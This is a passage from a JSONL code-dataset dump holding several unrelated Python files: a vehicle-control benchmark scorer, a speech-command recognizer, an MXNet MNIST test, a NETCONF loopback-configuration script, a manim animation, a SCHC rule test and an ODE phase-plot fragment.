np.absolute(delta_steer_list)), 3)\n delta_steer_max = round(np.max(\n np.absolute(delta_steer_list)), 3)\n if delta_switch_list == []:\n delta_switch_mean = 0\n else:\n delta_switch_mean = round(np.mean(\n np.absolute(delta_switch_list)), 3)\n\n score_outlier_long = \\\n self.divid_number(self.station_outlier_base, num_station, number) +\\\n self.divid_number(self.speed_outlier_base, num_speed, number)\n score_outlier_lat = \\\n self.divid_number(self.lateral_outlier_base, num_lateral, number) +\\\n self.divid_number(self.heading_outlier_base,\n num_heading, number)\n\n long_algo_score = ((self.divid_number(self.station_mean_base[scene_name], e_s_mean) +\n self.divid_number(self.speed_mean_base[scene_name], e_v_mean)) *\n self.f_mean / 2 +\n (self.divid_number(self.station_rmse_base, e_s_sd) +\n self.divid_number(self.speed_rmse_base, e_v_sd)) *\n self.f_rmse / 2 +\n (self.divid_number(self.station_max_base[scene_name], station_99_percent) +\n self.divid_number(self.speed_max_base[scene_name], speed_99_percent)) *\n self.f_max / 2 +\n score_outlier_long * self.f_outlier / 2) * 100\n lat_algo_score = ((self.divid_number(self.lateral_mean_base[scene_name], e_l_mean) +\n self.divid_number(self.heading_mean_base[scene_name], e_th_mean)) *\n self.f_mean / 2 +\n (self.divid_number(self.lateral_rmse_base, e_l_sd) +\n self.divid_number(self.heading_rmse_base, e_th_sd)) *\n self.f_rmse / 2 +\n (self.divid_number(self.lateral_max_base[scene_name], lateral_99_percent) +\n self.divid_number(self.heading_max_base[scene_name], heading_99_percent)) *\n self.f_max / 2 + score_outlier_lat *\n self.f_outlier / 2) * 100\n long_comfor_score = (self.divid_number(self.positive_acc_num_base,\n num_pacc, number) * self.f_pacc +\n self.divid_number(self.negative_acc_num_base,\n num_nacc, number) * self.f_nacc +\n self.divid_number(self.jerk_mean_base,\n jerk_mean) * self.f_jerk +\n self.divid_number(self.pedal_switch_base,\n num_cmd_switch, number) *\n self.f_pedal_switch) * 100\n\n lat_comfort_score = ((self.divid_number(self.lateral_max_acc_base,\n acc_lat_max) +\n self.divid_number(self.lateral_delta_max_acc_base,\n delta_acc_lat_max)) *\n self.f_lat_acc / 2 +\n (self.divid_number(self.delta_steer_mean_base,\n delta_steer_mean) +\n self.divid_number(self.delta_steer_max_base,\n delta_steer_max)) * self.f_steer / 2 +\n (self.divid_number(self.switch_number_base,\n num_steer, number) +\n self.divid_number(self.switch_mean_base,\n delta_switch_mean)) *\n self.f_steer_switch / 2) * 100\n score = [round(long_algo_score, 3), round(long_comfor_score, 3),\n round(lat_algo_score, 3), round(lat_comfort_score, 3)]\n error = [round(e_s_mean, 3), round(e_s_max, 3), round(e_v_mean, 3),\n round(e_v_max, 3), round(e_l_mean, 3), round(e_l_max, 3),\n round(e_th_mean, 3), round(e_th_max, 3), round(station_99_percent, 3),\n round(speed_99_percent, 3),\n round(lateral_99_percent, 3), round(heading_99_percent, 3)]\n result['score'] = score\n result['error'] = error\n return result\n\n def print_result(self, score_stright, score_right_turn,\n score_left_turn, score_u_turn, score_brake):\n \"\"\"\n print the result\n \"\"\"\n score_list = {}\n total_score = {}\n score_list['straight'] = score_stright\n score_list['right_turn'] = score_right_turn\n score_list['left_turn'] = score_left_turn\n score_list['u_turn'] = score_u_turn\n score_list['brake'] = score_brake\n total_score_all = 0\n count = 0\n count_factor = 0\n total_score_long_algo = 0\n total_score_long_comfort = 0\n total_score_lat_algo = 0\n total_score_lat_comfort = 0\n for scene in ['straight', 'right_turn', 'left_turn',\n 'u_turn', 'brake']:\n if score_list[scene][0] == 'N/A':\n total_score[scene] = 'N/A'\n print ('Lack of Scene:' + str(scene))\n else:\n count += 1\n total_score[scene] = self.f[scene][0] * score_list[scene][0] +\\\n self.f[scene][1] * score_list[scene][1] +\\\n self.f[scene][2] * score_list[scene][2] +\\\n self.f[scene][3] * score_list[scene][3]\n total_score[scene] = round(total_score[scene], 3)\n total_score_long_algo += self.f[scene][0] *\\\n score_list[scene][0]\n total_score_long_comfort += self.f[scene][1] *\\\n score_list[scene][1]\n total_score_lat_algo += self.f[scene][2] * score_list[scene][2]\n total_score_lat_comfort += self.f[scene][3] *\\\n score_list[scene][3]\n total_score_all += self.f_scene[scene] * total_score[scene]\n count_factor += self.f_scene[scene]\n if count == 0:\n print ('Lack of All Scene')\n else:\n total_score_all = round(total_score_all / count_factor, 3)\n total_score_long_algo = round(total_score_long_algo / count, 3)\n total_score_long_comfort = round(total_score_long_comfort / count, 3)\n total_score_lat_algo = round(total_score_lat_algo / count, 3)\n total_score_lat_comfort = round(total_score_lat_comfort / count, 3)\n\n tb3 = pt.PrettyTable()\n tb3.field_names = ['Scene', 'long_algo_score', 'long_comfort_score',\n 'lat_algo_score', 'lat_comfort_score',\n 'Total Score']\n tb3.add_row(['Straight Line', score_stright[0],\n score_stright[1], score_stright[2],\n score_stright[3],\n total_score['straight']])\n tb3.add_row(['Right Turn', score_right_turn[0],\n score_right_turn[1],\n score_right_turn[2],\n score_right_turn[3],\n total_score['right_turn']])\n tb3.add_row(['Left Turn', score_left_turn[0],\n score_left_turn[1], score_left_turn[2],\n score_left_turn[3], total_score['left_turn']])\n tb3.add_row(['U turn', score_u_turn[0],\n score_u_turn[1], score_u_turn[2],\n score_u_turn[3], total_score['u_turn']])\n tb3.add_row(['Brake', score_brake[0],\n score_brake[1], score_brake[2],\n score_brake[3], total_score['brake']])\n tb3.add_row(['Total', total_score_long_algo,\n total_score_long_comfort,\n total_score_lat_algo,\n total_score_lat_comfort, total_score_all])\n print(tb3)\n\n def plot_result(self, error_straight, error_right_turn,\n error_left_turn, error_u_turn, error_brake):\n \"\"\"\n plot the result\n \"\"\"\n error_list = {}\n error_list['straight'] = error_straight\n error_list['right_turn'] = error_right_turn\n error_list['left_turn'] = error_left_turn\n error_list['u_turn'] = error_u_turn\n error_list['brake'] = error_brake\n for scene in ['straight', 'right_turn', 'left_turn', 'u_turn', 'brake']:\n if error_list[scene][0] == 'N/A':\n error_list[scene] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n else:\n continue\n fig = plt.figure()\n name_list = ['', 'straight line', 'right turn', 'left_turn', 'u turn', 'brake']\n station_error_mean = [error_list['straight'][0], error_list['right_turn'][0],\n error_list['left_turn'][0], error_list['u_turn'][0],\n error_list['brake'][0]]\n station_error_max = [error_list['straight'][1], error_list['right_turn'][1],\n error_list['left_turn'][1],\n error_list['u_turn'][1], error_list['brake'][1]]\n station_error_99 = [error_list['straight'][8], error_list['right_turn'][8],\n error_list['left_turn'][8],\n error_list['u_turn'][8], error_list['brake'][8]]\n speed_error_mean = [error_list['straight'][2], error_list['right_turn'][2],\n error_list['left_turn'][2],\n error_list['u_turn'][2], error_list['brake'][2]]\n speed_error_max = [error_list['straight'][3], error_list['right_turn'][3],\n error_list['left_turn'][3],\n error_list['u_turn'][3], error_list['brake'][3]]\n speed_error_99 = [error_list['straight'][9], error_list['right_turn'][9],\n error_list['left_turn'][9],\n error_list['u_turn'][9], error_list['brake'][9]]\n lateral_error_mean = [error_list['straight'][4], error_list['right_turn'][4],\n error_list['left_turn'][4],\n error_list['u_turn'][4], error_list['brake'][4]]\n lateral_error_max = [error_list['straight'][5], error_list['right_turn'][5],\n error_list['left_turn'][5],\n error_list['u_turn'][5], error_list['brake'][5]]\n lateral_error_99 = [error_list['straight'][10], error_list['right_turn'][10],\n error_list['left_turn'][10],\n error_list['u_turn'][10], error_list['brake'][10]]\n heading_error_mean = [error_list['straight'][6], error_list['right_turn'][6],\n error_list['left_turn'][6],\n error_list['u_turn'][6], error_list['brake'][6]]\n heading_error_max = [error_list['straight'][7], error_list['right_turn'][7],\n error_list['left_turn'][7],\n error_list['u_turn'][7], error_list['brake'][7]]\n heading_error_99 = [error_list['straight'][11], error_list['right_turn'][11],\n error_list['left_turn'][11],\n error_list['u_turn'][11], error_list['brake'][11]]\n\n tb = pt.PrettyTable()\n tb.field_names = ['Error Statistic Index', 'Straight Line', 'Right Turn',\n 'Left Turn', 'U Turn', 'Brake']\n tb.add_row(['Station Error Max', error_list['straight'][1], error_list['right_turn'][1],\n error_list['left_turn'][1],\n error_list['u_turn'][1], error_list['brake'][1]])\n tb.add_row(['Station Error Mean', error_list['straight'][0], error_list['right_turn'][0],\n error_list['left_turn'][0], error_list['u_turn'][0],\n error_list['brake'][0]])\n tb.add_row(['Station Error 99%', error_list['straight'][8], error_list['right_turn'][8],\n error_list['left_turn'][8], error_list['u_turn'][8],\n error_list['brake'][8]])\n tb.add_row(['Speed Error Max', error_list['straight'][3], error_list['right_turn'][3],\n error_list['left_turn'][3],\n error_list['u_turn'][3], error_list['brake'][3]])\n tb.add_row(['Speed Error Mean', error_list['straight'][2], error_list['right_turn'][2],\n error_list['left_turn'][2],\n error_list['u_turn'][2], error_list['brake'][2]])\n tb.add_row(['Speed Error 99%', error_list['straight'][9], error_list['right_turn'][9],\n error_list['left_turn'][9],\n error_list['u_turn'][9], error_list['brake'][9]])\n tb.add_row(['Lateral Error Max', error_list['straight'][5], error_list['right_turn'][5],\n error_list['left_turn'][5],\n error_list['u_turn'][5], error_list['brake'][5]])\n tb.add_row(['Lateral Error Mean', error_list['straight'][4], error_list['right_turn'][4],\n error_list['left_turn'][4],\n error_list['u_turn'][4], error_list['brake'][4]])\n tb.add_row(['Lateral Error 99%', error_list['straight'][10], error_list['right_turn'][10],\n error_list['left_turn'][10],\n error_list['u_turn'][10], error_list['brake'][10]])\n tb.add_row(['Heading Error Max', error_list['straight'][7], error_list['right_turn'][7],\n error_list['left_turn'][7],\n error_list['u_turn'][7], error_list['brake'][7]])\n tb.add_row(['Heading Error Mean', error_list['straight'][6], error_list['right_turn'][6],\n error_list['left_turn'][6],\n error_list['u_turn'][6], error_list['brake'][6]])\n tb.add_row(['Heading Error 99%', error_list['straight'][11], error_list['right_turn'][11],\n error_list['left_turn'][11],\n error_list['u_turn'][11], error_list['brake'][11]])\n print(tb)\n\n station_mean_base = [0.5, 0.3, 0.3, 0.6, 0.2]\n station_max_base = [2, 0.5, 1, 0.5, 0.5]\n station_99_base = [1, 0.5, 1, 0.5, 0.5]\n speed_mean_base = [0.5, 0.4, 0.4, 0.4, 0.3]\n speed_max_base = [1, 0.5, 0.5, 0.5, 1]\n speed_99_base = [0.8, 0.5, 0.5, 0.5, 1]\n lateral_mean_base = [0.05, 0.1, 0.1, 0.1, 0.05]\n lateral_max_base = [0.2, 0.3, 0.3, 0.3, 0.2]\n lateral_99_base = [0.15, 0.2, 0.2, 0.2, 0.2]\n heading_mean_base = [0.03, 0.05, 0.05, 0.05, 0.01]\n heading_max_base = [0.05, 0.05, 0.05, 0.1, 0.05]\n heading_99_base = [0.05, 0.05, 0.05, 0.1, 0.05]\n\n size = 5\n x = np.arange(size)\n total_width, n = 0.7, 3\n width = total_width / n\n x = x - (total_width - width) / 3\n ax = fig.add_subplot(2, 2, 1)\n plt.bar(x, station_error_max, alpha=0.9, width=0.233, facecolor='lightskyblue',\n edgecolor='white', label='max_error')\n plt.bar(x + 2 * width, station_error_mean, alpha=0.9, width=0.233, facecolor='yellowgreen',\n edgecolor='white', label='mean_error')\n plt.bar(x + width, station_error_99, alpha=0.9, width=0.233, facecolor='darkcyan',\n edgecolor='white', label='max_error_99')\n plt.bar(x, station_max_base, alpha=0.9, width=0.233, facecolor='none', ls='dashed',\n edgecolor='red', label='max_error_base')\n plt.bar(x + 2 * width, station_mean_base, alpha=0.9, width=0.233, facecolor='none', ls='dashed',\n edgecolor='red', label='mean_error_base')\n plt.bar(x + width, station_99_base, alpha=0.9, width=0.233, facecolor='none', ls='dashed',\n edgecolor='red', label='99_error_base')\n ax.set_xticklabels(name_list)\n plt.legend(loc='upper right')\n plt.title('Station Error')\n ax1 = fig.add_subplot(2, 2, 2)\n plt.bar(x, speed_error_max, alpha=0.9, width=0.233, facecolor='lightskyblue',\n edgecolor='white', label='max_error')\n plt.bar(x + 2 * width, speed_error_mean, alpha=0.9, width=0.233, facecolor='yellowgreen',\n edgecolor='white', label='mean_error')\n plt.bar(x + width, speed_error_99, alpha=0.9, width=0.233, facecolor='darkcyan',\n edgecolor='white', label='max_error_99')\n plt.bar(x, speed_max_base, alpha=0.9, width=0.233, facecolor='none', ls='dashed',\n edgecolor='red', label='max_error_base')\n plt.bar(x + 2 * width, speed_mean_base, alpha=0.9, width=0.233, facecolor='none', ls='dashed',\n edgecolor='red', label='mean_error_base')\n plt.bar(x + width, speed_99_base, alpha=0.9, width=0.233, facecolor='none', ls='dashed',\n edgecolor='red', label='99_error_base')\n ax1.set_xticklabels(name_list)\n plt.legend(loc='upper right')\n plt.title('Speed Error')\n ax2 = fig.add_subplot(2, 2, 3)\n plt.bar(x, lateral_error_max, alpha=0.9, width=0.233, facecolor='lightskyblue',\n edgecolor='white', label='max_error')\n plt.bar(x + 2 * width, lateral_error_mean, alpha=0.9, width=0.233, facecolor='yellowgreen',\n edgecolor='white', label='mean_error')\n plt.bar(x + width, lateral_error_99, alpha=0.9, width=0.233, facecolor='darkcyan',\n edgecolor='white', label='max_error_99')\n plt.bar(x, lateral_max_base, alpha=0.9, width=0.233, facecolor='none', ls='dashed',\n edgecolor='red', label='max_error_base')\n plt.bar(x + 2 * width, lateral_mean_base, alpha=0.9, width=0.233, facecolor='none', ls='dashed',\n edgecolor='red', label='mean_error_base')\n plt.bar(x + width, lateral_99_base, alpha=0.9, width=0.233, facecolor='none', ls='dashed',\n edgecolor='red', label='99_error_base')\n ax2.set_xticklabels(name_list)\n plt.legend(loc='upper right')\n plt.title('Lateral Error')\n ax3 = fig.add_subplot(2, 2, 4)\n plt.bar(x, heading_error_max, alpha=0.9, width=0.233, facecolor='lightskyblue',\n edgecolor='white', label='max_error')\n plt.bar(x + width, heading_error_mean, alpha=0.9, width=0.233, facecolor='yellowgreen',\n edgecolor='white', label='mean_error')\n plt.bar(x + 2 * width, heading_error_99, alpha=0.9, width=0.233, facecolor='darkcyan',\n edgecolor='white', label='max_error_99')\n plt.bar(x, heading_max_base, alpha=0.9, width=0.233, facecolor='none', ls='dashed',\n edgecolor='red', label='max_error_base')\n plt.bar(x + 2 * width, heading_mean_base, alpha=0.9, width=0.233, facecolor='none', ls='dashed',\n edgecolor='red', label='mean_error_base')\n plt.bar(x + width, heading_99_base, alpha=0.9, width=0.233, facecolor='none', ls='dashed',\n edgecolor='red', label='99_error_base')\n ax3.set_xticklabels(name_list)\n plt.legend(loc='upper right')\n plt.title('Heading Error')\n plt.show()\n\n\ndef main():\n \"\"\"\n main function\n \"\"\"\n benchmark = BenchMark()\n benchmark.load_data()\n benchmark.cutoff_scene()\n score_straight = benchmark.compute_score(\n benchmark.scene_stright_line, 'straight')['score']\n score_right_turn = benchmark.compute_score(\n benchmark.scene_right_turn, 'right_turn')['score']\n score_left_turn = benchmark.compute_score(\n benchmark.scene_left_turn, 'left_turn')['score']\n score_u_turn = benchmark.compute_score(\n benchmark.scene_u_turn, 'u_turn')['score']\n score_brake = benchmark.compute_score(\n benchmark.scene_brake, 'brake')['score']\n error_straight = benchmark.compute_score(\n benchmark.scene_stright_line, 'straight')['error']\n error_right_turn = benchmark.compute_score(\n benchmark.scene_right_turn, 'right_turn')['error']\n error_left_turn = benchmark.compute_score(\n benchmark.scene_left_turn, 'left_turn')['error']\n error_u_turn = benchmark.compute_score(\n benchmark.scene_u_turn, 'u_turn')['error']\n error_brake = benchmark.compute_score(\n benchmark.scene_brake, 'brake')['error']\n benchmark.print_result(score_straight, score_right_turn,\n score_left_turn, score_u_turn, score_brake)\n benchmark.plot_result(error_straight, error_right_turn,\n error_left_turn, error_u_turn, error_brake)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"my-tools/control_benchmark_new.py","file_name":"control_benchmark_new.py","file_ext":"py","file_size_in_byte":35539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"163069684","text":"from queue import deque\nimport numpy as np\n\nclass RecognizeResult:\n def __init__(self):\n self.found_command = '_silence_'\n self.score = 0\n self.is_new_command = False\n\nclass RecognizeCommands:\n def __init__(self, labels, average_window_duration_ms, detection_threshold, suppression_ms, minimum_count):\n # Configuration\n self._labels = labels\n self._average_window_duration_ms = average_window_duration_ms\n self._detection_threshold = detection_threshold\n self._suppression_ms = suppression_ms\n self._minimum_count = minimum_count\n\n # Working Variable\n self._previous_results = deque()\n self._label_count = len(labels)\n self._previous_top_label = '_silence_'\n self._previous_top_label_time = -np.inf\n\n def process_latest_result(self, latest_results, current_time_ms, recognize_element):\n if latest_results.shape[0] != self._label_count:\n raise ValueError(\"The results for recognition should contain \", self._label_count,\n \" elements, but there are \", latest_results.shape[0])\n\n if self._previous_results.__len__() != 0 and current_time_ms < self._previous_results[0][0]:\n raise ValueError(\"Results must be fed in increasing time order, but receive a \"\n \"timestamp of \",\n current_time_ms, \" that was earlier than the previous one of \",\n self._previous_results[0][0])\n\n # Add the latest result to the head of the deque.\n self._previous_results.append([current_time_ms, latest_results])\n\n # Prune any earlier results that are too old for the averaging window.\n time_limit = current_time_ms - self._average_window_duration_ms\n while time_limit > self._previous_results[0][0]:\n self._previous_results.popleft()\n\n # If there are to few results, assume the result will be unreliable and bail.\n how_many_results = self._previous_results.__len__()\n earliest_time = self._previous_results[0][0]\n sample_duration = current_time_ms - earliest_time\n if how_many_results < self._minimum_count or sample_duration < self._average_window_duration_ms / 4:\n recognize_element.found_command = self._previous_top_label\n recognize_element.score = 0.0\n recognize_element.is_new_command = False\n return\n\n # Calculate the average score across all the results in the window.\n average_scores = np.zeros(self._label_count)\n for item in self._previous_results:\n score = item[1]\n for i in range(score.size):\n average_scores[i] += score[i] / how_many_results\n\n # Sort the averaged results in descending score order.\n sorted_averaged_index_score = []\n for i in range(self._label_count):\n sorted_averaged_index_score.append([i, average_scores[i]])\n sorted_averaged_index_score = sorted(sorted_averaged_index_score, key=lambda p: p[1], reverse=True)\n\n current_top_index = sorted_averaged_index_score[0][0]\n current_top_label = self._labels[current_top_index]\n current_top_score = sorted_averaged_index_score[0][1]\n\n time_since_last_top = 0\n\n if self._previous_top_label == '_silence_' or self._previous_top_label_time == -np.inf:\n time_since_last_top = np.inf\n else:\n time_since_last_top = current_time_ms - self._previous_top_label_time\n\n if current_top_score > self._detection_threshold and \\\n current_top_label != self._previous_top_label and \\\n time_since_last_top > self._suppression_ms:\n self._previous_top_label = current_top_label\n self._previous_top_label_time = current_time_ms\n recognize_element.is_new_command = True\n else:\n recognize_element.is_new_command = False\n recognize_element.found_command = current_top_label\n recognize_element.score = current_top_score\n","sub_path":"recognize_command.py","file_name":"recognize_command.py","file_ext":"py","file_size_in_byte":4084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"51312927","text":"# pylint: skip-file\n\nimport mxnet as mx\nimport numpy as np\nimport os, gzip\nimport pickle as pickle\nimport sys\nsys.path.append(\"../../tests/python/common/\")\nimport get_data\n\n\n\ndef CalAcc(out, label):\n pred = np.argmax(out, axis=1)\n return np.sum(pred == label) * 1.0 / out.shape[0]\n\n# symbol net\nbatch_size = 100\ndata = mx.symbol.Variable('data')\nfc1 = mx.symbol.FullyConnected(data = data, name='fc1', num_hidden=128)\nact1 = mx.symbol.Activation(data = fc1, name='relu1', act_type=\"relu\")\nfc2 = mx.symbol.FullyConnected(data = act1, name = 'fc2', num_hidden = 64)\nact2 = mx.symbol.Activation(data = fc2, name='relu2', act_type=\"relu\")\nfc3 = mx.symbol.FullyConnected(data = act2, name='fc3', num_hidden=10)\nsoftmax = mx.symbol.Softmax(data = fc3, name = 'sm')\nargs_list = softmax.list_arguments()\n\n# infer shape\ndata_shape = (batch_size, 784)\narg_shapes, out_shapes, aux_shapes = softmax.infer_shape(data=data_shape)\n\n# create GPU NArray for data\narg_narrays = [mx.nd.zeros(shape, ctx=mx.gpu()) for shape in arg_shapes]\ngrad_narrays = [mx.nd.zeros(shape, ctx=mx.gpu()) for shape in arg_shapes]\ninputs = dict(zip(args_list, arg_narrays))\n\n# create CPU NArray for result stat\nname2shape = dict(zip(args_list, arg_shapes))\npred = mx.nd.zeros(out_shapes[0])\n\n\n# set random weight\nnp.random.seed(0)\nfor name, narray in inputs.items():\n if \"weight\" in name:\n tmp = mx.nd.array(np.random.uniform(-0.07, 0.07, name2shape[name]))\n tmp.copyto(narray)\n\n# bind executer\n# TODO(bing): think of a better bind interface\nexecutor = softmax.bind(mx.gpu(), arg_narrays, grad_narrays)\n# create gradient NArray\nout_narray = executor.outputs[0]\ngrad_narray = mx.nd.zeros(out_narray.shape, ctx=mx.gpu())\n\n\n# update\nepoch = 9\nlr = 0.1\nwd = 0.0004\n\n# SGD Update rule\ndef Update(grad, weight):\n weight[:] -= lr * grad / batch_size\n\nblock = list(zip(grad_narrays, arg_narrays))\n\n#check data\nget_data.GetMNIST_ubyte()\ntrain_dataiter = mx.io.MNISTIter(\n image=\"data/train-images-idx3-ubyte\",\n label=\"data/train-labels-idx1-ubyte\",\n input_shape=(784,),\n batch_size=batch_size, shuffle=True, flat=True, silent=False, seed=10)\nval_dataiter = mx.io.MNISTIter(\n image=\"data/t10k-images-idx3-ubyte\",\n label=\"data/t10k-labels-idx1-ubyte\",\n input_shape=(784,),\n batch_size=batch_size, shuffle=True, flat=True, silent=False)\n\ntmp_label = mx.nd.zeros(name2shape[\"sm_label\"])\n\ndef test_mlp():\n acc_train = 0.\n acc_val = 0.\n for i in range(epoch):\n # train\n print(\"Epoch %d\" % i)\n train_acc = 0.0\n val_acc = 0.0\n train_nbatch = 0\n val_nbatch = 0\n for data, label in train_dataiter:\n label = label.asnumpy().reshape(tmp_label.shape)\n tmp_label[:] = label\n inputs[\"data\"][:] = data\n inputs[\"sm_label\"][:] = tmp_label\n executor.forward()\n pred[:] = out_narray\n train_acc += CalAcc(pred.asnumpy(), label)\n train_nbatch += 1\n grad_narray[:] = out_narray\n executor.backward([grad_narray])\n\n for grad, weight in block:\n Update(grad, weight)\n\n # evaluate\n for data, label in val_dataiter:\n label = label.asnumpy().flatten()\n inputs[\"data\"][:] = data\n executor.forward()\n pred[:] = out_narray\n val_acc += CalAcc(pred.asnumpy(), label)\n val_nbatch += 1\n acc_train = train_acc / train_nbatch\n acc_val = val_acc / val_nbatch\n print(\"Train Acc: \", train_acc / train_nbatch)\n print(\"Valid Acc: \", val_acc / val_nbatch)\n train_dataiter.reset()\n val_dataiter.reset()\n assert(acc_train > 0.98)\n assert(acc_val > 0.97)\n\nif __name__ == \"__main__\":\n test_mlp()\n","sub_path":"example/mnist/mlp_gpu.py","file_name":"mlp_gpu.py","file_ext":"py","file_size_in_byte":3808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"550075924","text":"#!python\r\n\r\nimport os\r\nimport sys\r\nfrom ncclient import manager\r\nimport xmltodict\r\nimport xml.dom.minidom\r\n\r\n\r\n# Get the absolute path for the directory where this file is located \"here\"\r\nhere = os.path.abspath(os.path.dirname(__file__))\r\n\r\n# Get the absolute path for the project / repository root\r\nproject_root = os.path.abspath(os.path.join(here, \"../..\"))\r\n\r\n\r\n# Extend the system path to include the project root and import the env files\r\n# U can configure env_lab.py, it is more add sendbox labs .\r\n\r\nsys.path.insert(0, project_root)\r\nimport env_lab # noqa\r\n\r\n# IETF Interface Types\r\nIETF_INTERFACE_TYPES = {\r\n \"loopback\": \"ianaift:softwareLoopback\",\r\n \"ethernet\": \"ianaift:ethernetCsmacd\"\r\n}\r\n\r\n# Create an XML configuration template for ietf-interfaces\r\nnetconf_interface_template = \"\"\"\r\n\r\n \r\n \r\n \t{name}\r\n \t{desc}\r\n \t\r\n {type}\r\n \r\n \t{status}\r\n \t\r\n \t\t
\r\n \t\t\t{ip_address}\r\n \t\t\t{mask}\r\n \t\t
\r\n \t
\r\n
\r\n
\r\n
\"\"\"\r\n\r\n# Ask for the Interface Details to Add\r\nnew_loopback = {}\r\nnew_loopback[\"name\"] = \"Loopback\" + input(\"What loopback number to add?: \")\r\nnew_loopback[\"desc\"] = input(\"What description to use?: \")\r\nnew_loopback[\"type\"] = IETF_INTERFACE_TYPES[\"loopback\"]\r\nnew_loopback[\"status\"] = \"true\"\r\nnew_loopback[\"ip_address\"] = input(\"What IP address?: \")\r\nnew_loopback[\"mask\"] = input(\"What network mask?: \")\r\n\r\n# Create the NETCONF data payload for this interface\r\nnetconf_data = netconf_interface_template.format(\r\n name=new_loopback[\"name\"],\r\n desc=new_loopback[\"desc\"],\r\n type=new_loopback[\"type\"],\r\n status=new_loopback[\"status\"],\r\n ip_address=new_loopback[\"ip_address\"],\r\n mask=new_loopback[\"mask\"]\r\n)\r\n\r\nprint(\"The configuration payload to be sent over NETCONF.\\n\")\r\nprint(netconf_data)\r\n\r\nprint(\"Opening NETCONF Connection to {}\".format(env_lab.iosxe[\"host\"]))\r\n\r\n# Open a connection to the network device using ncclient\r\nwith manager.connect(\r\n host=env_lab.iosxe[\"host\"],\r\n port=env_lab.iosxe[\"netconf_port\"],\r\n username=env_lab.iosxe[\"username\"],\r\n password=env_lab.iosxe[\"password\"],\r\n hostkey_verify=False\r\n) as m:\r\n\r\n print(\"Sending a operation to the device.\\n\")\r\n # Make a NETCONF query using the filter\r\n netconf_reply = m.edit_config(netconf_data, target='running')\r\n\r\nprint(\"Here is the raw XML data returned from the device.\\n\")\r\n# Print out the raw XML that returned\r\nprint(xml.dom.minidom.parseString(netconf_reply.xml).toprettyxml())\r\nprint(\"\")","sub_path":"09_AddLoopback.py","file_name":"09_AddLoopback.py","file_ext":"py","file_size_in_byte":2930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"579147095","text":"from manimlib.imports import *\n\nclass Latex(Scene):\n def construct(self):\n equal = TextMobject(\"=\", color=RED)\n eq_left01 = TextMobject(\"$1^3+2^3+3^3\\\\quad\\\\dots\\\\quad+n^3$\", color=GREEN)\n eq_right01 = TextMobject(\"$(1+2+3+)^2$\", color=YELLOW)\n\n eq_left02 = TextMobject(\"$\\Sigma_{i=1}^{n} i^{3}$\", color=GREEN)\n eq_right02 = TextMobject(\"$(\\Sigma_{i=1}^{n} i)^{2}$\", color=YELLOW)\n equation02 = VGroup(equal, eq_left02, eq_right02)\n\n eq_left01.next_to(equal, LEFT)\n eq_right01.next_to(equal, RIGHT)\n eq_left02.next_to(equal, LEFT)\n eq_right02.next_to(equal, RIGHT)\n\n self.play(FadeIn(eq_left01), FadeIn(equal), FadeIn(eq_right01))\n #self.wait(1)\n self.play(ReplacementTransform(eq_left01, eq_left02), run_time=5)\n self.play(ReplacementTransform(eq_right01, eq_right02), run_time=2)\n #self.wait(0.5)\n self.play(ApplyMethod(equation02.scale, 2.4))\n #self.wait(1)\n\n'''\nclass ChangeColorAndSizeAnimation(Scene):\n\tdef construct(self):\n text = TextMobject(\"Text\")\n self.play(Write(text))\n\n text.generate_target()\n text.target = TextMobject(\"Target\")\n text.target.set_color(RED)\n text.target.scale(2)\n text.target.shift(UP*3)\n\n self.play(MoveToTarget(text),run_time = 2)\n self.wait()\n'''\n","sub_path":"test/latex_test2.py","file_name":"latex_test2.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"293799463","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom rulemanager import RuleManager\n\ncontext1 = {\n \"devL2Addr\":\"AABBCCDD\",\n \"dstIID\":\"2001:0db8:85a3::beef\"\n}\ncontext2 = {\n \"devL2Addr\":\"*\",\n \"dstIID\":\"*\"\n}\nbogusRule0 = { # bogus rule with no frag or comp\n \"ruleID\": 3\n }\nrule1 = {\n \"ruleID\" : 4,\n \"ruleLength\" : 5,\n \"compression\" : {\n }\n}\nrule2 = {\n \"ruleID\" : 4,\n \"ruleLength\" : 3,\n \"profile\": {\n \"MICAlgorithm\": \"crc32\",\n \"MICWordSize\": 8,\n \"L2WordSize\": 8\n },\n \"fragmentation\" : {\n \"dir\": \"out\",\n \"FRMode\": \"ackOnError\",\n \"FRModeProfile\": {\n \"dtagSize\" : 2,\n \"FCNSize\": 3,\n \"ackBehavior\" : \"afterAll1\"\n }\n }\n}\nrule3 = {\n \"ruleID\" : 7,\n \"ruleLength\" : 3,\n \"profile\": {\n \"MICAlgorithm\": \"crc32\",\n \"MICWordSize\": 8,\n \"L2WordSize\": 8\n },\n \"fragmentation\" : {\n \"dir\": \"in\",\n \"FRMode\" :\"noAck\"\n },\n}\nconflictingRule0 = {\n \"ruleID\" : 15,\n \"ruleLength\" : 4,\n \"compression\" : {},\n }\n\nRM = RuleManager()\nRM.add_context(context1, rule1,rule2,rule3)\nRM.add_context(context2, rule1)\nprint(RM._db)\n#RM.add_rules(context1, [conflictingRule0])\n#RM.add_rules(context1, [bogusRule0])\nprint(RM.find_context_bydevL2addr(\"AABBCCDD\"))\nprint(RM.find_context_bydstiid(\"2001:0db8:85a3::beef\"))\n\nfrom bitarray import BitBuffer\nRM.find_rule_bypacket(context1, BitBuffer(int(\"10000111\",2).to_bytes(1, \"big\")))\n","sub_path":"src/test_ruleman.py","file_name":"test_ruleman.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"578412121","text":"from scipy.integrate import ode\n\ndef oscillator(t,x):\n \n m = 1.\n b = 1.\n k = 1.\n \n dx = [x[1], -k/m*x[0] - b/m*x[1]]\n \n return dx\n\nplt.figure(1,figsize(5,5))\nplt.axis([-1,1,-1,1])\n\nX1 = np.linspace(-1.,1.,11)\nX2 = np.linspace(-1.,1.,11)\n\nfor i in range(11):\n for j in range(11):\n 